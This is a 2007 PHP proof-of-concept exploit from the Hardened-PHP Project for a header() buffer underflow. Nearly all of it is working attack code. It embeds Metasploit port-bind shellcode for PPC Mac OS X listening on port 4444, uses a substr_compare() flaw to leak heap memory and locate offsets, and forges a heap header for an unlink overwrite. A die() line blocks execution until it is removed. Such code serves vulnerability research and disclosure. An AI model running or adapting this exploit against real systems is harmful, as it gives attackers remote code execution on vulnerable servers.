<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \\| || || _ \\ //
// | __ |/ _` || \'_|/ _` |/ -_)| \' \\ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\\__,_||_| \\__,_|\\___||_||_|\\___|\\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP header() Space Trimming Buffer Underflow Vulnerability //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die(\"REMOVE THIS LINE\");
// PPC MacOSX Portshell on 4444 from Metasploit
// (16 bytes added to make it compatible with unlink exploit)
$shellcode = \"\\x48\\x00\\x00\\x10\\x60\\x00\\x00\\x00\\x60\\x00\\x00\\x00\\x60\\x00\\x00\\x00\".
\"\\x7c\\xa5\\x2a\\x79\\x40\\x82\\xff\\xfd\\x7f\\xe8\\x02\\xa6\\x3b\\xff\\x07\\xfa\".
\"\\x38\\xa5\\xf8\\x4a\\x3c\\xc0\\x28\\x43\\x60\\xc6\\x84\\x76\\x38\\x85\\x07\\xee\".
\"\\x7c\\x89\\x03\\xa6\\x80\\x9f\\xf8\\x4a\\x7c\\x84\\x32\\x78\\x90\\x9f\\xf8\\x4a\".
\"\\x7c\\x05\\xf8\\xac\\x7c\\xff\\x04\\xac\\x7c\\x05\\xff\\xac\\x3b\\xc5\\x07\\xba\".
\"\\x7f\\xff\\xf2\\x15\\x42\\x20\\xff\\xe0\\x4c\\xff\\x01\\x2c\\x10\\x23\\x84\\x74\".
\"\\x10\\xc3\\x84\\x77\\x10\\xe3\\x84\\x70\\x10\\x43\\x84\\x17\\x6c\\x43\\x84\\x74\".
\"\\x54\\x43\\x86\\x0e\\x54\\x3d\\x9f\\x0e\\x60\\x43\\x84\\x7b\\x28\\x41\\x95\\x2a\".
\"\\x28\\x43\\x84\\x76\\x54\\xcb\\x86\\xd0\\x10\\xe3\\x84\\x66\\x10\\x43\\x84\\x1e\".
\"\\x57\\x80\\x77\\x0e\\x6c\\x43\\x84\\x74\\x54\\x43\\x86\\x0e\\x10\\x43\\x84\\x1c\".
\"\\x57\\x80\\x77\\x0e\\x6c\\x43\\x84\\x74\\x54\\x43\\x86\\x0e\\x57\\x80\\x77\\x0e\".
\"\\x10\\x43\\x84\\x68\\x10\\xc3\\x84\\x66\\xb8\\xc2\\x7b\\x9e\\x10\\xe2\\x7b\\x9e\".
\"\\x10\\xc2\\x7b\\x86\\x6c\\x43\\x84\\x74\\x54\\x43\\x86\\x0e\\x54\\x3d\\x9f\\x0e\".
\"\\x10\\xe3\\x84\\x74\\x10\\x43\\x84\\x2c\\x57\\x80\\x77\\x0e\\x54\\xe7\\xaf\\x0e\".
\"\\x6c\\x43\\x84\\x74\\x54\\x43\\x86\\x0e\\x10\\xe6\\x7b\\x89\\x04\\x46\\x7b\\x89\".
\"\\x68\\xc1\\x7b\\x93\\x10\\x43\\x84\\x34\\x6c\\x43\\x84\\x74\\x54\\x43\\x86\\x0e\".
\"\\x54\\xe6\\xae\\x0f\\x68\\xc1\\x7b\\x8b\\x54\\x2b\\x86\\xd0\\x10\\x20\\x84\\x5e\".
\"\\xb8\\x22\\x7b\\x8e\\xb8\\xe2\\x7b\\x8a\\x10\\xc2\\x7b\\x8e\\x10\\x43\\x84\\x4d\".
\"\\x54\\x43\\x80\\xda\\x6c\\x43\\x84\\x74\\x54\\x43\\x86\\x0e\\x57\\xa3\\x84\\x7e\".
\"\\x07\\x21\\xed\\x18\\x07\\x20\\xf7\\x1e\\x28\\x43\\x84\\x76\";
// Offsets used for the overwrite (will be overwritten by findOffsets()
$offset_1 = 0x55555555;
$offset_2 = 0x66666666;
findOffsets(); // Comment out if you want to just test the crash
// IF YOU OUTPUT ANYTHING THEN header() WILL FAIL
//printf(\"Using offsets %08x and %08x\\n\", $offset_1, $offset_2);
// Convert offsets into strings
$addr1 = pack(\"L\", $offset_1);
$addr2 = pack(\"L\", $offset_2);
// Memory Alignment stuff
$v1 = 1;
$v2 = 2;
// Block that will contain the fake memory block
$v1 = str_repeat(\"B\", 0x110-0x14);
// Prepare fake memory header
$v1[0] = chr(0);
$v1[1] = chr(0);
$v1[2] = chr(0);
$v1[3] = chr(4);
$v1[8] = $addr1[0];
$v1[9] = $addr1[1];
$v1[10] = $addr1[2];
$v1[11] = $addr1[3];
$v1[12] = $addr2[0];
$v1[13] = $addr2[1];
$v1[14] = $addr2[2];
$v1[15] = $addr2[3];
// Heap alignment
$v2 = str_repeat(\"A\", 400);
$v2 = str_repeat(\" \", 400);
// Trigger overflow
header($v2);
unset($v2);
// This function uses the substr_compare() vulnerability
// to get the offsets. In a remote exploit such offsets
// would get bruteforced
function findOffsets()
{
global $offset_1, $offset_2, $shellcode;
// We need to NOT clear these variables,
// otherwise the heap is too segmented
global $memdump, $d, $arr;
$sizeofHashtable = 39;
$maxlong = 0x7fffffff;
// Signature of a big endian Hashtable of size 256 with 1 element
$search = \"\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xff\\x00\\x00\\x00\\x01\";
$memdump = str_repeat(\"A\", 16000);
for ($i=0; $i<400; $i++) {
$d[$i]=array();
}
unset($d[350]);
$x = str_repeat(\"\\x01\", $sizeofHashtable);
unset($d[351]);
unset($d[352]);
$arr = array();
for ($i=0; $i<129; $i++) { $arr[$i] = 1; }
$arr[$shellcode] = 1;
for ($i=0; $i<129; $i++) { unset($arr[$i]); }
// If the libc memcmp leaks the information use it
// otherwise we only get a case insensitive memdump
$b = substr_compare(chr(65),chr(0),0,1,false) != 65;
for ($i=0; $i<16000; $i++) {
$y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
$Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
if ($y-$Y == 1 || $Y-$y==1){
$y = chr($y);
if ($b && strtoupper($y)!=$y) {
if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
$y = strtoupper($y);
}
}
$memdump[$i] = $y;
} else {
$y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
$Y = substr_compare($x, chr(2), $i+1, $maxlong, $b);
if ($y-$Y != 1 && $Y-$y!=1){
$memdump[$i] = chr(1);
} else {
$memdump[$i] = chr(0);
}
}
}
// Search shellcode and hashtable and calculate memory address
$pos_shellcode = strpos($memdump, $shellcode);
$pos_hashtable = strpos($memdump, $search);
$addr = substr($memdump, $pos_hashtable+6*4, 4);
$addr = unpack(\"L\", $addr);
// Fill in both offsets
$offset_1 = $addr[1] + 32;
$offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4 - 8;
}
?>
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